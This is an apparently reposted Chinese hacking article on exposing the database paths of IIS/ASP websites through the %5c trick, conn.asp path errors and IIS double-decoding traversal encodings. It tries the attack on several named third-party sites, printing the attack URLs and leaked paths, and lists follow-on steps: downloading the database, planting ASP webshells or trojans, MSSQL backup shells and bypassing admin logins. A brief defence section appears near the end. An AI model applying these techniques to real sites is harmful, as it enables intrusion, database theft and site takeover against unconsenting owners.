我对暴库的一点认识 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    作者:linzi(chinaskyv@163.com)

    来源:邪恶八进制安全小组

    去年的时候曾经有一段时间研究过ie双解码,所以对暴库有一定的认识,前些天终于收到 的杂志,

    里面看了一篇临的文章,下面我也谈谈个人对那篇文章的认识,这里要说的是,大家如果再深入点研

    究下去,就会发现,暴库的利用不只是这么简单,还会有更多可以用的东东,

我对暴库的一点认识

    暴库的方式有多种多样,我知道的就有3种以上,常见的暴的方法有:%5c类暴,conn.asp暴,ddos暴等等.

    这篇文章我主要讲%5c和conn.asp暴.

    可以说,这篇是对临国越南首相写的文章的补充.

    1.%5c暴法

    下面我们先用肉鸡来试一下

    http://www.yianxin.com/e-market/bbs/select.asp

    暴:

    http://www.yianxin.com/e-market/bbs%5cselect.asp

    返回信息如下:

    microsoft jet database engine 错误 '80004005'

    'd:\www\yianxin.comgr7shg3l26\e-market\data\yianxinlzn.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    /e-market/bbs/conn.asp,行3

    我们来看一下真实路径和暴出的路径

    d:\www\yianxin.comgr7shg3l26\e-market\data\yianxinlzn.asp    暴出的路径

    d:\www\yianxin.comgr7shg3l26\e-market\bbs\data\yianxinlzn.asp  真实的路径

    对比后我们发现暴出来的少了一个bbs

    这里我们还发现%5c就相当于一个休止符返回的路径就变成

    绝对路径+%5c后面的内容

    我们再来看一下对暴不出来的分析

    肉鸡: http://www.guilin.com.cn/renrenbbs/body.asp?id=516

    暴url: http://www.guilin.com.cn/renrenbbs%5cbody.asp?id=516

    返回内容如图三所示

    此主题相关图片如下:

    肉鸡: http://www.jijiahao.com/guest/default.asp

    暴url: http://www.jijiahao.com/guest%5cdefault.asp

    返回内容如图四所示

    此主题相关图片如下:

    我们再来分析一下成功与失败的原因:

    http://www.yianxin.com/e-market/bbs%5cselect.asp

    会暴成功库,我们打开select.asp我们会发现里面

   

   

   

   

    也就是说有调用到其它文件

    所以当你用%5c时,返回路径也就变成了

    绝对路径+%5c后面的select.asp,select.asp又调用到路径库data/renren.asp

    所以返回的路径就变成了

    绝对路径+路据库路径,而在绝对路径和路据库路径,我们知道有guest这个目录,

    这个时候因为绝对路径+路据库路径不存在(绝对路径+guest+路据库路径才存在)

    所以也就返回了,我们所看到的出错信息。

    现在再来分析一下失败的原因:

    我个人认为是因为iis双解码的原因,

    例如,对于'\'这个字符,正常编码后是%5c。这三个字符对应的编码为:

    '%' = %25

    '5' = %35

    'c' = %63

    如果要对这三个字符再做一次编码,就可以有多种形式,例如:

    %255c

    %%35c

    %%35%63

    %25%35%63

    ...

    因此,"..\"就可以表示成"..%255c"或"..%%35c"等等形式。

    在经过第一次解码之后,变成"..%5c"。iis会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成"..\"。因此攻击者就可以使用"..\"来进行目录遍历,执行web目录之外的任意程序。

    详细的大家可以看下面的资料参考

    我们再来分析图三和图四失败的原因就会发现,他可能解析成../,通过图的比较可以分析出来,

    难道这时就暴不出来了吗,当然不是,这要我们精心构造。

    下面还会分析到。

    下面我们来纠正一下网上常见的错误观点。

    1.不一定要asp?id=的才可以暴,只要有调用其它有文件就有可能暴

    2.不一定是access,也可以是mssql,我就成功过,下面大总结的时候就会分析到只要是iis就有可能成功

    3.不一定要调用到数据库,因为%5c的关键是调用,而不是一定是数据库.

    4.理论上讲,根目录通过精心构造是可以暴的,但有些人说的通过..%5c的却一定暴不出来,因为返回是

    取%5c后面的与前面的无关

    5.并不是说多层目录就暴的成功率就高,%5c能否成功关键是看系统怎么解析,另外我个人觉得能否暴出

    与程序无关,更多的与系统有关,不信大家去百度找同一板本的人人留言板,你就会发现有的可以暴

    出来,有的却暴不了出来。

    好了,上面是对%5c暴库的初步了解

    2.conn.asp暴

    conn.asp暴可以说,与系统无关,是因为目录的关系。

    我用netbox架设同样可以暴,而%5c是iis解码错误,有那个漏洞的一定是windows系统.

    同样,我们还是通过比较来说明问题

    肉鸡:http://192.168.0.55/ren/

    暴1 : http://192.168.0.55/ren/images/conn.asp

    暴2 : http://192.168.0.55/ren/conn.asp

    其中暴1里面的conn.asp是从暴2里面复制过去的

    返回内容:

    暴1:

    microsoft jet database engine '80004005'

    'c:\documents and settings\xiaoqiu\桌面\wwwroot\ren\images\data\renren.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    \wwwroot\ren\images\conn.asp, line 3

    暴2:

    全是白白。

    再来分析为什么conn.asp可以暴出来

    conn.asp代码如下:

    <%

    set conn=server.createobject("adodb.connection")

    conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")

    set rs=server.createobject("adodb.recordset")

    function connclose

    conn.close

    set conn = nothing

    end function

    function errmsg(message)

    session("err")=message

    response.redirect"err.asp"

    end function

    %>

    其中最重要的是

    set conn=server.createobject("adodb.connection")

    conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")

    这两句,这两句也是能暴出的关键.

    我们再来先看暴出的路径和真实路径的差别

    c:\documents and settings\xiaoqiu\桌面\wwwroot\ren\images\data\renren.asp 暴出的路径

    c:\documents and settings\xiaoqiu\桌面\wwwroot\ren\data\renren.asp    真实的路径

    我们会发现多了一个images,这是因为,conn.asp的返回路径是

    绝对路径+conn.asp前的+conn.asp连接的数据库路径

    像上面的就等于绝对路径c:\documents and settings\xiaoqiu\桌面\wwwroot+conn.asp前面的ren/images+

    data\renren.asp也就是数据库路径,合起来就是

    c:\documents and settings\xiaoqiu\桌面\wwwroot\+ren\images\+data\renren.asp

    不同连接语法返回路径不一定一样,但是上面的连接语句返回的却一定是绝对路径

    下面我们再来验证一下我们的正确性,把下面的内容保存为任何一个经过asp.dll解析过扩展的文件,如

    linzi.asp,linzi.cdx等等,代码内容如下:

    <%

    set conn=server.createobject("adodb.connection")

    conn.open="provider=microsoft.jet.oledb.4.0;data source="&server.mappath("data/renren.asp")

    %>

    这个时候你把他放在任何一个目录,只要不是ren目录里,也就是留言簿的根目录,都可以暴出绝对路径,

    这个时候你可能会问,难道根目录就暴不出了吗?答案是可以暴出来,

电脑资料

我对暴库的一点认识》(https://www.unjs.com)。你把上面代码里的

    data/renren.asp改成任何一个不存在的目录或文件,也同样可以暴出来,例如,我改成

    data123/renren.asp,因为data123不存在,所以就暴了出来,返回内容如下

    microsoft jet database engine '80004005'

    'c:\documents and settings\xiaoqiu\桌面\wwwroot\ren\data123\renren.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

    \wwwroot\ren\2.asp, line 3

    我们还可以发现,并没有少目录,只不过目录出错,经过一大堆的测试,我个人总结出conn.asp暴成功的

    原因以及对网上一些错误观点的个人看法:

    1.要暴不一定要调用到数据库,但是要暴库,一定要调到到数据库或与数据库有关的文件。

    2.不一定conn.asp才可以暴,只要有调用其它文件,造成目录错误的都可以报,如动力的除了inc/conn.asp

    外,放在inc里面的其它文件同样也可以暴。

    3.总结conn.asp的暴原因是你返回的目录和真实的目录不一定,或者也可以说是不存在。

    3.暴的简单利用:

    1.下载数据库进后台找上传点,然后得到webshell

    2.往数据库里面插入asp小马,详细的可以参考angel的文章《把mdb改成asp带来的灾难》

    3.access跨库查询

    如语句:

    select count(*) from dv_admin in 'd:\www\data\dvbbs7.mdb'

    4.注入时的利用,如mssql backup a shell

    5.绕过后台验证,详细的可以见我收集的暴库文摘

    好了,就这么些吧,上面可以说只是暴后攻击的冰山一角,当你再深入下去,你会发现还有更恐怖

    的东西在后面,2k+sp4有人利用双解码成功了,这也只是一角。

    还有这里要说一下的是,有的人说用asp.dll解析mdb用来防下载,事实上稍微不笨的人,就会发现这是

    一种愚蠢的做法,当你用asp.dll解析mdb后,你把newmmm.asp改成newmm.mdb上传后,就相当于一个

    newmm.asp,因为asp.dll解析过的扩展只要里面有asp语句就会被执行,这和cer,cdx等,一个道理.

    我个人认为防下载的最好方法是往数据库里加入防下载表段<% zhenzhen520 <%,只要插入这个就可以

    防下载了,懂点asp的人都知道,<% zhenzhen520 <%放到数据库里,一定会发生语法错误,因为没有%>

    结束符,当然你可以说,可以注是,事实上,注是是不可能的事,除非你得到了shell,修改数据库,否

    则你就别想了,因为就算让你加上了两个%>结束符,但是因为<%%>里面的东西不满足asp语法,也会发生

    500错误。不信?要不你试试动网,动网的数据库就是这样。

    4.防范:

    1.最好的办法临在文章里也说过了,就是屏所有的出错。

    2.加容错语句,不过要注意的是,你加了容错,只能是你加的那个文件暴不出来,但并不代表,其它文件

    暴不出来。

    3.把数据库在非相对路径下,例如:你本来的路据库路径是:c:\www\data\dvbbs.asp,这时你可以把数

    据库改放在c:\里,这样就下载不到数据库。

    好了,防的方法就说到这里了。因为我说的都是废话,大家都看过的.

    5.%5c暴与conn.asp总结:

    可以说%5c暴是因为调用文件出错,而conn.asp暴是因为返回的路径出错或不存在。

    6.conn.asp与%5c的结合:

    可以说如何构造是入侵时能不能暴出的关键。

    现在我们假设,guest目录放在c:\www\下,而conn.asp放在c:\www\guest\conn.asp,直接调用

    http://192.168.0.13/guest/conn.asp不会报错,因为返回路径是正确的,通过上面的,我们可以知道

    conn.asp暴是因为返回路不存在。现在我们对比一下%5c和conn.asp的不同返回路径

    1.%5c    : 绝对路径+%5c后面的内容

    2.conn.asp : 绝对路径+conn.asp前面的相对路径+conn.asp调用的数据库路径

    两者结合起来,假设http://192.168.1.13/guest%5ccoonn.asp

    那么返回路径也就变成了

    绝对路径+conn.asp,但实际在入侵之时,我们会发现有的时候并不是,这个时候大家别忘了双解码

    好了,我只提出思路,实际的入侵方法,我想你可能已经想到。

    大家如果有疑问可以到混盟或者发e-mail给我。

最新文章